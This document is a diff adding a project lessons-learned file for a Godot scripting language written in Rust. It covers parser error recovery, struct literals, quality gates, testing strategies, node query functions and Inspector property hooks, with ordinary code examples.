+**Evidence**: Test count increased **548 → 587 (+39 tests, +7% coverage)**
+
+**Lesson**: Robustness testing after MVP validates production-readiness
+
+---
+
+#### 4. Test-First Validation ✅
+
+**Achievement**: Re-enabled 31 Phase 4 tests after struct literal implementation
+
+- **Original state**: 30+ tests commented out (Phase 4 blocked)
+- **Post-MVP**: All tests passing
+- **Validation**: Feature works as originally designed
+
+**Evidence**: Zero test modifications needed - implementation matched original expectations
+
+**Lesson**: Well-designed test suite validates implementation correctness
+
+---
+
+### 🚧 What Could Be Improved
+
+#### 1. Nested Literal Limitation ⚠️
+
+**Problem**: Nested struct literals not supported in MVP
+
+```rust
+// ❌ Not supported (MVP limitation):
+let rect = Rect2 { 
+    position: Vector2 { x: 0.0, y: 0.0 },  // Error: parser doesn't handle nesting
+    size: Vector2 { x: 100.0, y: 50.0 }
+};
+
+// ✅ Workaround required:
+let pos = Vector2 { x: 0.0, y: 0.0 };
+let size = Vector2 { x: 100.0, y: 50.0 };
+let rect = Rect2 { position: pos, size: size };
+```
+
+**Impact**:
+
+- Slightly more verbose syntax
+- Extra variable declarations needed
+- Still fully functional, just less convenient
+
+**Better Approach**:
+
+- Implement nested literals as part of MVP (adds ~1-2 hours)
+- OR document limitation clearly in examples
+- Defer to Phase 4.6 if time-constrained
+
+**Lesson**: MVP scope decisions have UX trade-offs - document limitations explicitly
+
+---
+
+#### 2. Duplicate Field Handling ⚠️
+
+**Behavior**: Parser accepts duplicate fields (last value wins)
+
+```rust
+// Currently accepted (no error):
+let v = Vector2 { x: 10.0, x: 20.0, y: 30.0 };  // x = 20.0 (last wins)
+```
+
+**Pros**:
+
+- Consistent with JSON/Rust behavior
+- Simple implementation
+- No parser complexity
+
+**Cons**:
+
+- Likely programmer error (typo/copy-paste)
+- Silent bug potential
+- Not caught until runtime (if at all)
+
+**Better Approach**:
+
+- Add duplicate field detection in parser
+- Error code E7xx reserved for duplicates
+- Fail fast at compile time
+
+**Lesson**: Silent failures are worse than inconvenient errors - fail fast
+
+---
+
+#### 3. Godot Test Harness Integration Gap ⚠️
+
+**Problem**: Integration examples can't run through `ferris-test` tool yet
+
+- Examples created: `struct_literals_color.ferris`, `struct_literals_vector2.ferris`, etc.
+- Compilation works
+- But Godot test harness doesn't compile scripts correctly
+
+**Root Cause**: Godot integration uses different compilation pipeline
+
+**Workaround**: Examples validated via unit tests
+
+**Better Approach**:
+
+- Test harness integration in Phase 5
+- OR use simpler compile-only validation for examples
+- Document "examples are illustrative, not executable yet"
+
+**Lesson**: Integration layers have independent testing requirements
+
+---
+
+### 🎓 Actionable Takeaways
+
+#### For Phase 5 (@export)
+
+1. ✅ **Use checkpoint methodology** - 8 checkpoints worked perfectly
+2. ✅ **Test edge cases explicitly** - Robustness tests found no bugs (good MVP quality)
+3. ✅ **Document limitations upfront** - Nested literals limitation documented
+4. ✅ **Re-enable blocked tests early** - 31 tests passing validates design
+5. ✅ **Separate MVP from polish** - Nested literals deferred without impact
+
+#### For Future Features
+
+1. ✅ **Robustness test template** - Edge cases, error paths, coercion, nesting
+2. ✅ **Compiler + Runtime testing** - Both layers need coverage
+3. ✅ **Error code reuse** - Semantic grouping > unique codes
+4. ✅ **Integration examples** - Show real-world usage patterns
+5. ✅ **MVP scope discipline** - 2.5 hours for working feature > 5 hours for perfect feature
+

+## 🛠️ Error Recovery Implementation Patterns
+
+### Critical Pattern: Always Advance Before Synchronize
+
+**Discovery**: Parser error recovery can cause infinite loops if not implemented correctly.
+
+**Pattern**:
+
+```rust
+// ❌ WRONG - Risk of infinite loop
+self.record_error(error);
+self.synchronize();  // If already at sync point, stays forever
+
+// ✅ CORRECT - Guarantees forward progress
+self.record_error(error);
+self.advance();      // Always move past bad token first
+self.synchronize();  // Then find safe recovery point
+```
+
+**Rationale**: If `synchronize()` finds you're already at a sync point (`;`, `}`, `fn`, `let`), it returns immediately without advancing. This creates an infinite loop where the parser repeatedly processes the same bad token. The `advance()` call before `synchronize()` guarantees forward progress.
+
+**Application**: Any compiler implementing panic-mode error recovery must follow this pattern. Document it prominently in implementation guides.
+
+---
+
+## ✅ Quality Gates - Strict Standards Prevent Tech Debt
+
+### Established Quality Standards (v0.0.3)
+
+**Strict Clippy Mode**:
+
+```bash
+cargo clippy --workspace --all-targets --all-features -- -D warnings
+```
+
+**Key Insight**: Standard `cargo clippy` is **too lenient** for production quality. Strict mode (`-D warnings`) catches:
+
+- Issues in test code (not just main code)
+- Issues in benchmark code
+- Issues in example code
+- Issues with all feature combinations
+
+**Impact**: Phase 1 passed standard clippy but failed strict mode, revealing:
+
+- `useless_vec` warnings in test code (should use arrays)
+- Deprecated `criterion::black_box` (should use `std::hint::black_box`)
+
+**Recommendation**: Establish strict clippy as the **only** acceptable standard from project start. Easier to maintain than to retroactively fix.
+
+### Format Before Commit
+
+**Standard**:
+
+```bash
+cargo fmt --all
+```
+
+**Why**: Prevents formatting diff noise in code reviews, maintains consistency, shows professionalism.
+
+**Integration**: Add to:
+
+- Pre-commit hooks (automated)
+- CI/CD validation (gated)
+- Contributor checklists (documented)
+
+### Documentation Validation
+
+**Tools**:
+
+```bash
+npm run docs:lint              # Markdownlint
+npx markdown-link-check        # Link validation
+```
+
+**Discovery**: Found 11 broken links in v0.0.3 planning docs during Phase 1 validation. Systematic link checking prevents:
+
+- Broken navigation in documentation
+- 404 errors for users
+- Outdated cross-references
+
+**Best Practice**: Run link checks on ALL modified markdown files before commit, not just at release time.
+
+---
+
+## 🧪 Testing Strategies
+
+### Integration Tests > Unit Tests (For User-Facing Features)
+
+**Discovery**: For features like error messages and suggestions, integration tests (full compiler pipeline) are more valuable than unit tests (algorithm internals).
+
+**Rationale**:
+
+- Users see **output** (error messages), not **algorithm behavior** (Levenshtein distance)
+- Integration tests verify the complete user experience
+- Unit tests only verify internal correctness
+
+**Example**:
+
+```rust
+// ❌ Less Valuable: Unit test of suggestion algorithm
+#[test]
+fn test_levenshtein_distance() {
+    assert_eq!(levenshtein("hello", "helo"), 1);
+}
+
+// ✅ More Valuable: Integration test of user-visible output
+#[test]
+fn test_typo_suggestion() {
+    let result = compile("let x: i32 = 5; let y = palyer;");
+    assert!(result.err().unwrap().contains("did you mean 'player'?"));
+}
+```
+
+**Application**: For user-facing features (error messages, diagnostics, suggestions), write integration tests first. Add unit tests only if algorithm complexity justifies them.
+
+### Test Both Success and Failure Paths
+
+**Discovery**: When implementing error recovery, must test that:
+
+1. ✅ Recovery works (parser continues after errors)
+2. ✅ Valid code still compiles (recovery doesn't break normal parsing)
+
+**Example**:
+
+```rust
+// Test recovery works
+#[test]
+fn test_parser_recovers_from_missing_semicolon() {
+    let code = "let x = 5\nlet y = 10;";  // Missing semicolon
+    let result = parse(code);
+    assert!(result.errors.len() > 0);      // Error detected
+    assert!(result.program.is_some());     // But parsing continued
+}
+
+// Test valid code unaffected
+#[test]
+fn test_valid_code_still_works() {
+    let code = "let x = 5;\nlet y = 10;";  // Valid code
+    let result = parse(code);
+    assert_eq!(result.errors.len(), 0);    // No errors
+    assert!(result.program.is_some());     // Parsing succeeded
+}
+```
+
+**Rationale**: Error recovery can accidentally break normal parsing if sync points are too aggressive or if panic mode isn't cleared properly.
+
+---
+
+## 🔧 Debugging Techniques
+
+### Debug Output First, Assertions Second
+
+**Problem**: Integration test fails with "Expected error message X, got Y"
+
+**Wrong Approach**:
+
+```rust
+assert!(error.contains("Expected ';'"));  // Fails, no idea what actual message is
+```
+
+**Right Approach**:
+
+```rust
+println!("Actual error: {}", error);      // See what it actually says
+// Output: "Error[E108]: Expected token\nExpected ;, found let"
+assert!(error.contains("Expected"));      // Now write flexible assertion
+```
+
+**Rationale**: Exact error message strings change during development. Debug output reveals actual format so you can write flexible assertions that check for patterns rather than exact strings.
+
+### Verify Data Structures Before Testing
+
+**Problem**: Test fails with "Token::Int(1) doesn't exist"
+
+**Discovery**: FerrisScript lexer uses `Token::Number(f32)` for all numeric literals, not separate `Token::Int(i32)` and `Token::Float(f32)` variants.
+
+**Lesson**: When writing parser tests, **always check the actual token enum definition** in the lexer. Don't assume token variant names - verify them to avoid cryptic compilation errors.
+
+**Application**: Before writing tests for any data structure (AST nodes, tokens, types), read the actual definitions in source code.
+
+---
+
+## 📐 Adaptive Algorithms
+
+### Threshold Tuning Through Testing
+
+**Discovery**: String similarity thresholds must adapt to identifier length. Short names need strict edit distance, long names need percentage similarity.
+
+**Implementation**:
+
+```rust
+fn is_similar(candidate: &str, target: &str) -> bool {
+    let distance = levenshtein(candidate, target);
+    
+    if target.len() <= 8 {
+        // Short names: strict edit distance
+        distance <= 2 || (target.len() <= 4 && distance <= 1)
+    } else {
+        // Long names: percentage similarity
+        let similarity = 1.0 - (distance as f32 / target.len() as f32);
+        similarity >= 0.70
+    }
+}
+```
+
+**Lesson**: Don't guess at algorithm parameters. Write comprehensive tests first, then adjust parameters until tests pass with good precision/recall balance.
+
+**Application**: For any algorithm with tunable parameters (thresholds, weights, limits), use test-driven parameter tuning rather than intuition.
+
+---
+
+## 📝 Documentation Best Practices
+
+### Document Critical Bugs Thoroughly
+
+**Discovery**: When you find a severe bug (like infinite loop in error recovery), document it with:
+
+1. **Symptoms**: What the user sees (memory consumption, hang)
+2. **Root Cause**: Why it happened (synchronize without advance)
+3. **Fix**: What changed (add advance before synchronize)
+4. **Prevention**: How to avoid in future (always advance first)
+
+**Example Documentation** (from Phase 3C):
+
+> **Critical Infinite Loop Bug**: Initial implementation caused infinite memory consumption when parser encountered unexpected top-level tokens. Root cause: Called `synchronize()` without first advancing past the bad token. If `synchronize()` returned immediately (token was already at sync point), parser stayed at same position forever, repeatedly processing same token.
+>
+> **Fix**: Added mandatory `self.advance()` call before `synchronize()` in error recovery path. This guarantees forward progress even if sync point is reached immediately.
+
+**Rationale**: These insights prevent similar bugs in future work. Future contributors can learn from past mistakes without repeating them.
+
+---
+
+## 🎯 Best Practices Summary
+
+**From v0.0.3 Development**:
+
+1. **Error Recovery**: Always advance before synchronize (prevent infinite loops)
+2. **Quality Gates**: Use strict clippy (`-D warnings`) from day one
+3. **Testing Priority**: Integration tests > unit tests for user-facing features
+4. **Test Coverage**: Test both error paths AND success paths
+5. **Debugging**: Print actual values before writing assertions
+6. **Algorithms**: Tune parameters through testing, not intuition
+7. **Documentation**: Document severe bugs thoroughly (symptoms, cause, fix, prevention)
+8. **Verification**: Verify data structure definitions before writing tests
+9. **Format Consistency**: Run `cargo fmt --all` before every commit
+10. **Link Validation**: Check markdown links before committing documentation
+
+**Application**: These practices apply to all future development phases and versions. Maintain these standards consistently.

+## Comprehensive Edge Case Testing Initiative - October 9, 2025
+
+**Context**: After implementing core compiler functionality, conducted systematic edge case testing initiative to improve robustness and document current limitations.
+
+### 📊 Results
+
+- **142 new tests added** across all compiler stages (+59.9% increase)
+- **4 separate commits** (one per phase) for clear review
+- **All tests passing** with zero clippy warnings
+- **Comprehensive documentation** of current behavior and limitations
+
+### Key Test Categories
+
+1. **Lexer** (+7 net tests): Unicode (emoji, combining chars, RTL), line endings (CRLF, mixed, CR), EOF safety, numeric literals
+2. **Parser** (+39 tests): Nested control flow, operator precedence, missing delimiters, error recovery, invalid constructs
+3. **Type Checker** (+35 tests): Variable scope/shadowing, recursion, type validation, field access, signals, duplicates
+4. **Diagnostics** (+26 tests): Unicode in errors, line endings, column alignment, file boundaries, error formatting
+
+### 💡 Key Insights
+
+#### Testing Strategies
+
+1. **Document Limitations**: Tests for unimplemented features provide value - Used `⚠️ CURRENT LIMITATION` comments consistently
+2. **Match Patterns Over If-Else**: Avoid moved value errors by using match instead of is_err() + unwrap_err()
+3. **Graceful Test Skips**: Tests can skip if prerequisites fail (e.g., return early if parsing fails)
+4. **Test Naming**: Use `test_[component]_[scenario]` convention for clarity
+
+#### Language Design Insights
+
+1. **Braces Required**: FerrisScript requires braces for all control flow (reduces ambiguity)
+2. **Selective Type Coercion**: int→float yes, bool→numeric no
+3. **No Method Chaining on Calls**: `obj.method().field` not supported yet
+
+#### Current Limitations Documented
+
+- **Lexer**: Binary/hex literals not fully supported
+- **Parser**: No nested functions, no method chaining on calls
+- **Type Checker**: Variable shadowing varies, recursion needs forward declarations, incomplete validation
+- **Diagnostics**: Tab alignment edge cases
+
+### 📈 Test Statistics
+
+| Stage | Before | After | Added | % Increase |
+|-------|--------|-------|-------|------------|
+| Lexer | 78 | 85 | +7 | +9.0% |
+| Parser | 73 | 112 | +39 | +53.4% |
+| Type Checker | 65 | 100 | +35 | +53.8% |
+| Diagnostics | 13 | 39 | +26 | +200.0% |
+| **Total** | **237** | **379** | **+142** | **+59.9%** |
+
+### 🎯 Best Practices
+
+1. Phase-based commits for clear review
+2. Quality gates (test + fmt + clippy) before every commit
+3. Document limitations before implementing features
+4. Tests as living specifications
+5. Incremental approach for large initiatives

+## v0.0.4 Phase 3: Node Query Functions - October 9, 2025
+
+**Context**: Implemented 4 node query functions (get_node, get_parent, has_node, find_child) in 6 hours instead of estimated 2-3 days.
+
+### 📊 Results
+
+- **All 4 functions** implemented and tested in single batch
+- **416 tests passing** (396 existing + 17 new + 3 other)
+- **50-68% time savings** over original estimate
+- **12 new error codes** (E601-E613) for comprehensive validation
+- **Zero build warnings**, all quality gates passed
+
+### 💡 Key Insights
+
+#### Implementation Patterns
+
+1. **Batching Saves Time**: Implementing all 4 functions together (phases 3.2-3.5) saved 4-7 hours
+   - Eliminated context switching between features
+   - Reused infrastructure setup work
+   - Parallel test development
+   - Single round of type checker updates
+
+2. **Thread-Local Storage Pattern**: Clean separation for callbacks
+
+   ```rust
+   thread_local! {
+       static CURRENT_NODE_INSTANCE_ID: RefCell<Option<InstanceId>> = const { RefCell::new(None) };
+   }
+   ```
+
+   - Set before script execution
+   - Clean up after execution
+   - O(1) lookup for callbacks
+   - Avoids borrowing conflicts
+
+3. **Special-Cased Built-ins**: Consistent with Phase 1 (emit_signal)
+   - Runtime callbacks for Godot API integration
+   - Type checker registration with proper signatures
+   - Error validation at both compile-time and runtime
+
+#### Testing Strategies
+
+1. **Type Coercion Flexibility**: Type checker tests need flexible assertions
+   - Don't test exact error messages (may change with coercion rules)
+   - Test patterns: "expects X arguments, found Y"
+   - Updated 3 tests after initial failures due to strict matching
+
+2. **Mock Callbacks**: Enable runtime testing without Godot
+
+   ```rust
+   env.set_node_query_callback(Some(|query_type, arg| {
+       match query_type {
+           NodeQueryType::GetNode => Ok(Value::Node(NodeHandle::new("MockNode"))),
+           // ... other cases
+       }
+   }));
+   ```
+
+3. **Comprehensive Error Coverage**: 12 error codes for thorough validation
+   - Wrong argument count
+   - Empty path/name validation
+   - Not found errors
+   - No callback set errors
+
+#### Architecture Decisions
+
+1. **Value::Node Variant**: Represents Godot nodes as opaque handles
+   - Can't store in variables or pass as arguments (limitation documented)
+   - Workaround: Store paths as strings, query when needed
+
+2. **Node Invalidation Deferred**: Weak references using ObjectID deferred to v0.0.5+
+   - Current: No validity checking
+   - Recommendation: Use `has_node()` before accessing potentially freed nodes
+   - Deep research needed (see next TODO item)
+
+3. **Array Support Deferred**: `get_children()` requires array type support
+   - Planned for v0.0.6 or later
+   - Documented as known limitation
+
+### 🎯 Best Practices for Phase 4+
+
+1. **Consider Batching**: Group similar features to maximize efficiency
+   - Evaluate dependencies first
+   - Batch if infrastructure is shared
+   - Don't batch if features are fundamentally different
+
+2. **Infrastructure First**: Set up Value variants, callbacks, types before functions
+   - All 4 functions shared same infrastructure
+   - One-time setup, multiple function benefits
+
+3. **Test as You Go**: Write tests immediately after implementing each function
+   - Catches integration issues early
+   - Validates error handling works correctly
+   - Easier to debug with fresh context
+
+4. **Document Limitations**: Note known issues in planning doc and PR
+   - Node reference limitations
+   - Node invalidation issues
+   - Missing features (get_children)
+
+### 📈 Efficiency Metrics
+
+| Metric | Value |
+|--------|-------|
+| **Estimated Time** | 12-19 hours (2-3 days) |
+| **Actual Time** | ~6 hours |
+| **Efficiency Gain** | 50-68% |
+| **Key Factor** | Batching phases 3.2-3.5 |
+| **Build Time** | 2-4 seconds (unchanged) |
+| **Test Time** | 0.5 seconds (+17 tests) |
+
+### 🔬 Technical Insights
+
+1. **Thread Safety**: Instance ID pattern avoids borrowing conflicts
+   - Used in Phase 1 (signals) and Phase 3 (node queries)
+   - Pattern proven reliable and maintainable
+
+2. **Error Code Organization**: E600s for node query errors
+   - E601-E604: get_node errors
+   - E605-E606: get_parent errors
+   - E607-E609: has_node errors (note: never errors on missing node)
+   - E610-E613: find_child errors
+
+3. **Godot API Integration**: Direct API calls with minimal overhead
+   - `try_get_node_as::<Node2D>(path)` for get_node
+   - `get_parent()` for parent access
+   - `has_node(path)` for existence checks
+   - `find_child(name)` for recursive search
+
+### 📝 Documentation Created
+
+1. **PHASE_3_NODE_QUERIES.md** (530+ lines): Complete planning document
+2. **4 Example Scripts**: Basic, validation, search, error handling patterns
+3. **PR_DESCRIPTION.md**: Comprehensive review-ready description
+4. **Updated**: README.md, CHANGELOG.md, planning documents
+
+### 🚀 Recommendations
+
+1. **For Phase 4 (Godot Types)**: Consider batching Color, Rect2, Transform2D if they share infrastructure
+2. **For Phase 5 (Property Exports)**: May not be batchable (different architecture)
+3. **For Future Phases**: Always evaluate batching opportunity at planning stage
+4. **Node Invalidation**: Research needed before implementing ObjectID weak references

+**Solution**: Dual AI research approach (Claude 4.5 + GPT-5) with synthesis
+
+**Process**:
+
+1. Asked both AIs to research `get_property()` and `set_property()` APIs
+2. Compared results side-by-side
+3. Identified discrepancies (e.g., `#[class(tool)]` annotation)
+4. Synthesized findings into comprehensive plan
+5. Achieved **100% confidence** in API usage
+
+**Key Discovery**: GPT-5 identified critical `#[class(tool)]` annotation that Claude 4.5 missed
+
+**Evidence**:
+
+- Bundle 7 implemented successfully on first try
+- No API usage errors
+- Research docs: 1400+ lines of comprehensive analysis
+
+**Lesson**: **When APIs are unclear, use dual AI research with synthesis**
+
+- Catches blind spots from single source
+- Discrepancies highlight critical details
+- Synthesized plan combines best of both
+- Invest 30 minutes in research to save hours of trial-and-error
+
+**Pattern for Future**:
+
+```
+1. Ask AI #1 for research → save output
+2. Ask AI #2 for same research → save output
+3. Compare outputs → note discrepancies
+4. Synthesize → create unified implementation plan
+5. Implement with high confidence
+```
+
+---
+
+#### 2. Phased Implementation Approach ✅
+
+**Strategy**: Implement Bundle 7 in two phases (verification stub → full integration)
+
+**Phase 1** (10 min):
+
+- Added `#[class(tool)]` annotation
+- Implemented logging stubs for `get_property()` and `set_property()`
+- Verified hooks are called correctly
+- **Commit**: 8a65223
+
+**Phase 2** (35 min):
+
+- Replaced stubs with full runtime integration
+- 65+ lines of comprehensive documentation
+- Connected to runtime storage
+- **Commit**: 55ba87f
+
+**Benefits**:
+
+- Early validation of API usage (hooks actually called)
+- Clear checkpoint if issues arise
+- Reduced risk for complex integration
+- Clean git history showing progression
+
+**Evidence**: No API errors, implementation smooth
+
+**Lesson**: **Use phased approach for risky integrations:**
+
+1. **Verification stub**: Minimal implementation to validate API
+2. **Full integration**: Complete logic with confidence
+3. **Each phase is a commit**: Clear progression, easy rollback
+
+**When to Use**:
+
+- New API with unclear behavior
+- Complex integration across modules
+- High-risk changes that might need rollback
+
+---
+
+#### 3. Fallback Pattern for Coexistence ✅
+
+**Pattern**: Property hooks use `Option<Variant>` and `bool` return types for fallback
+
+**Implementation**:
+
+```rust
+fn get_property(&self, property: StringName) -> Option<Variant> {
+    if let Some(env) = &self.env {
+        if let Ok(value) = env.get_exported_property(&prop_name) {
+            return Some(value_to_variant(&value));  // ✅ We handle it
+        }
+    }
+    None  // ❌ Fallback to Godot
+}
+
+fn set_property(&mut self, property: StringName, value: Variant) -> bool {
+    if let Some(env) = &mut self.env {
+        match env.set_exported_property(&prop_name, fs_value, true) {
+            Ok(_) => return true,   // ✅ We handled it
+            Err(_) => return false, // ❌ Fallback to Godot
+        }
+    }
+    false  // ❌ Fallback to Godot
+}
+```
+
+**Benefits**:
+
+- Built-in Node2D properties (position, rotation) still work
+- No conflicts between FerrisScript and Godot systems
+- Clean separation of concerns
+- Graceful degradation on errors
+
+**Evidence**: Can use `node.position` in Inspector alongside `@export` properties
+
+**Lesson**: **Use Option/bool return types for fallback behavior**
+
+- `Some(value)` / `true` = "I handled this"
+- `None` / `false` = "Let someone else handle this"
+- Enables coexistence with existing systems
+- Prevents conflicts and confusion
+
+---
+
+#### 4. Context-Aware Behavior with `from_inspector` Parameter ✅
+
+**Discovery**: Runtime `set_exported_property()` has `from_inspector: bool` parameter
+
+**Behavior**:
+
+- `from_inspector = true` → Apply range clamping (user-friendly)
+- `from_inspector = false` → No clamping (full control for scripts)
+
+**Example**:
+
+```ferris
+@export(range(0, 100))
+let mut health: i32 = 50;
+
+fn damage(amount: i32) {
+    health = health - amount;  // Can go negative (from_inspector=false)
+}
+```
+
+In Inspector:
+
+- User sets health to 150 → Clamped to 100 (from_inspector=true)
+
+In Runtime:
+
+- `damage(60)` called → health = -10 (from_inspector=false, no clamp)
+
+**Benefits**:
+
+- Inspector UX friendly (prevents invalid values)
+- Runtime has full control (can exceed limits temporarily)
+- Single API serves both use cases
+
+**Lesson**: **Context-aware parameters enable elegant dual behavior**
+
+- Identify who's calling (Inspector vs Runtime)
+- Adjust behavior appropriately
+- One function, multiple UX patterns
+- Document both behaviors clearly
+
+---
+
+#### 5. Documentation-First Accelerates Development ✅
+
+**Approach**: Write comprehensive doc comments before/during implementation
+
+**Bundle 7 Example**: 65+ lines of documentation for ~65 lines of code (1:1 ratio!)
+
+**Doc Structure**:
+
+```rust
+// ========== Phase 5 Sub-Phase 3: Property Hooks (Bundle 7) ==========
+
+/// Called by Godot Inspector when reading a property value.
+/// 
+/// This enables Inspector to display FerrisScript @export properties.
+/// 
+/// Flow:
+/// 1. Inspector needs property value → calls get_property("health")
+/// 2. Check if we have runtime storage (script loaded)
+/// 3. Query FerrisScript storage: env.get_exported_property("health")
+/// 4. Found → convert Value to Variant, return Some(variant)
+/// 5. Not found → return None (fallback to Godot)
+/// 
+/// Return Semantics:
+/// - Some(value) = "We have this property, here's the value"
+/// - None = "Not our property, try Godot's implementation"
+/// 
+/// Example:
+/// - "health" → Some(Variant::from(100)) (FerrisScript property)
+/// - "position" → None (Node2D built-in, fallback)
+fn get_property(&self, property: StringName) -> Option<Variant> {
+    // ... implementation
+}
+```
+
+**Benefits**:
+
+- Implementation writes itself from docs
+- Edge cases documented while fresh
+- Return semantics crystal clear
+- Future maintainers understand quickly
+- +15 min writing time, saves hours debugging
+
+**Evidence**: Bundle 7 Phase 2 completed in 35 minutes with no logic errors
+
+**Lesson**: **Invest in documentation during implementation**
+
+- Write flow diagrams in comments
+- Document return semantics clearly
+- Explain edge cases inline
+- Doc-to-code ratio of 1:1 or higher for complex features
+- **Time saved debugging > Time spent documenting**
+
+---
+
+#### 6. Single-Line Changes with Massive Impact ✅
+
+**Bundle 8**: One line of code, huge workflow improvement
+
+**Change**:
+
+```rust
+self.base_mut().notify_property_list_changed();  // ⬅️ This one line
+```
+
+**Impact**:
+
+- Inspector auto-refreshes on script reload
+- Properties update automatically when script modified
+- No manual scene reload needed
+- Seamless hot-reload experience
+
+**Result**: 20 minutes implementation time for major UX improvement
+
+**Lesson**: **Don't underestimate "small" changes**
+
+- Research where strategic calls go
+- One well-placed function call can transform UX
+- High-leverage changes exist - find them
+- **Impact ≠ Lines of code**
+
+---
+
+#### 7. Pre-Commit Hooks Save Time ✅
+
+**Setup**: Pre-commit hooks run formatting, linting, tests
+
+**Issue During Session**: Forgot to run `cargo fmt` before committing Bundle 7 Phase 2
+
+**Hook Caught**:
+
+```
+✅ Formatting check...
+❌ Formatting failed - fixing...
+```
+
+**Result**: Hook auto-fixed, then accepted commit
+
+**Time Saved**: ~5 minutes of manual fix + re-commit
+
+**Lesson**: **Invest in pre-commit hooks early**
+
+- Format: `cargo fmt`
+- Lint: `cargo clippy`
+- Quick tests: `cargo test --lib`
+- Catches issues before CI
+- Saves PR revision cycles
+
+**Recommendation**: Add to every Rust project Day 1
+
+---
+
+### 🚧 What Could Be Improved
+
+#### 1. Doc Comments vs Regular Comments Confusion ⚠️
+
+**Issue**: Used `///` (doc comments) for inline explanations in Bundle 8
+
+**Error**:
+
+```
+warning: unused doc comment
+note: use `//` for a plain comment
+```
+
+**Correction**: Changed to `//` regular comments
+
+**Root Cause**: Unclear distinction between doc comment types
+
+**Clarification**:
+
+- `///` (doc comments): Only for function/struct/module documentation
+- `//` (regular comments): For inline code explanations
+- `//!` (module-level docs): For file/module overview
+
+**Lesson**: **Understand comment types in Rust**
+
+```rust
+/// This documents the function below ✅
+fn my_function() {
+    // This explains the logic ✅
+    let x = 5;
+}
+
+fn another_function() {
+    /// This is wrong - nothing below to document ❌
+    let y = 10;
+    
+    // This is correct ✅
+    let y = 10;
+}
+```
+
+---
+
+#### 2. rustfmt Pre-Commit Still Requires Manual Run ⚠️
+
+**Issue**: Pre-commit hook checks formatting but doesn't auto-fix
+
+**Workflow**:
+
+1. Attempt commit → Hook fails
+2. Manually run `cargo fmt`
+3. Re-attempt commit → Hook passes
+
+**Better Workflow**:
+
+```bash
+# Pre-commit hook should:
+if ! cargo fmt --check; then
+    echo "❌ Formatting check failed - auto-fixing..."
+    cargo fmt
+    echo "✅ Formatting fixed - please review and commit again"
+    exit 1  # Require manual re-commit to review changes
+fi
+```
+
+**Lesson**: **Pre-commit hooks should be helpful, not just gatekeepers**
+
+- Check → Fail → Fix → Require review → Pass
+- Don't just reject, help fix the issue
+- User reviews auto-fixes before committing
+
+---
+
+#### 3. godot_bind Tests Require Godot Engine ⚠️
+
+**Issue**: 10 tests fail with "Godot engine not available"
+
+**Root Cause**: Tests call Godot FFI functions that need engine runtime
+
+**Current State**:
+
+- 11 tests pass (type mapping, API structure)
+- 10 tests fail (Godot FFI calls)
+
+**Workaround**: Skip godot_bind tests in CI with `--no-fail-fast`
+
+**Better Solution**: Headless Godot testing (see TESTING_STRATEGY_PHASE5.md)
+
+```bash
+# Install godot-headless
+wget https://downloads.tuxfamily.org/godotengine/4.3/Godot_v4.3-stable_linux_headless.64.zip
+
+# Run tests with headless runtime
+godot --headless --script run_tests.gd
+```
+
+**Lesson**: **Plan for integration testing environment early**
+
+- Identify tests that need external runtime
+- Set up headless/mock environments
+- Don't accept "tests that always fail" as normal
+
+---
+
+### 🎓 Key Technical Insights
+
+#### 1. `#[class(tool)]` Annotation Critical 🔑
+
+**Discovery**: GPT-5 research revealed this annotation
+
+**Purpose**: Enables Inspector/editor integration in Godot
+
+**Without**:
+
+- Property hooks work at runtime only
+- Inspector can't read/write properties during editing
+- Properties show in list but can't be modified
+
+**With**:
+
+- Property hooks work in editor AND runtime
+- Inspector fully functional during editing
+- Seamless development experience
+
+**Lesson**: **Research annotation requirements for editor features**
+
+- Runtime behavior ≠ Editor behavior
+- Some features need special annotations
+- Test in editor, not just runtime
+- GPT-5 caught what Claude 4.5 missed
+
+---
+
+#### 2. Return Semantics Are Critical for Integration 🔑
+
+**Pattern**: Return types communicate "who handles this"
+
+**Examples**:
+
+- `Option<Variant>`: `Some` = handled, `None` = fallback
+- `bool`: `true` = handled, `false` = fallback
+- `Result<T, E>`: `Ok` = success, `Err` = error (caller handles)
+
+**Anti-Pattern**: Always return a value, even when you shouldn't
+
+```rust
+// ❌ Bad: Always returns Some, breaks fallback
+fn get_property(&self, property: StringName) -> Option<Variant> {
+    Some(Variant::nil())  // Wrong! Should return None for fallback
+}
+
+// ✅ Good: None enables fallback
+fn get_property(&self, property: StringName) -> Option<Variant> {
+    if self.handles(property) {
+        Some(self.get_value(property))
+    } else {
+        None  // Fallback to Godot
+    }
+}
+```
+
+**Lesson**: **Design return types for integration, not just success/failure**
+
+- Think about "who handles what"
+- Use types to communicate responsibility
+- None/false can be just as important as Some/true
+
+---
+
+#### 3. Range Clamping Context-Aware Design 🔑
+
+**Insight**: `from_inspector` parameter enables dual behavior
+
+**Use Cases**:
+
+1. **Inspector writes**: User-facing, should clamp to prevent confusion
+2. **Runtime writes**: Developer-facing, should not clamp (might be intentional)
+
+**Example Scenario**:
+
+```ferris
+@export(range(0, 100))
+let mut health: i32 = 100;
+
+fn _process(delta: f32) {
+    // Temporary overheal power-up
+    health = 150;  // from_inspector=false, no clamp ✅
+}
+```
+
+If clamped: Power-up wouldn't work!
+
+**Lesson**: **Context-aware behavior requires identifying the caller**
+
+- Who's calling: Inspector vs Runtime?
+- What's the intent: User correction vs Intentional override?
+- Design API to support both use cases
+- Single function, multiple behaviors
+
+---
+
+#### 4. Hot-Reload Requires Notification 🔑
+
+**Pattern**: Data structure changes must notify observers
+
+**Example**:
+
+```rust
+// Script reloads with new properties
+self.env = Some(new_env);  // New property list
+
+// ❌ Without notification:
+// - Inspector still shows old property list
+// - User must manually reload scene
+
+// ✅ With notification:
+self.base_mut().notify_property_list_changed();
+// - Inspector automatically refreshes
+// - New properties appear immediately
+```
+
+**Lesson**: **Observer pattern requires explicit notifications**
+
+- Data change ≠ Automatic UI update
+- Call notification methods after state changes
+- Don't assume observers poll for changes
+- One line of code, huge UX impact
+
+---
+
+### 🎯 Best Practices from Phase 5
+
+#### 1. Research Complex APIs Before Implementation
+
+**Process**:
+
+1. Identify API uncertainty (e.g., property hooks unclear)
+2. Research using multiple AI sources (Claude + GPT)
+3. Compare results, note discrepancies
+4. Synthesize into unified plan
+5. Implement with high confidence
+
+**Time Investment**: 30 minutes research → saves 2-3 hours trial-and-error
+
+---
+
+#### 2. Implement Risky Features in Phases
+
+**Pattern**:
+
+1. **Phase 1**: Verification stub (10 min)
+   - Minimal implementation
+   - Validate API usage
+   - Log to confirm hooks called
+   - Commit: Early checkpoint
+
+2. **Phase 2**: Full integration (35 min)
+   - Replace stubs with real logic
+   - Add comprehensive documentation
+   - Full error handling
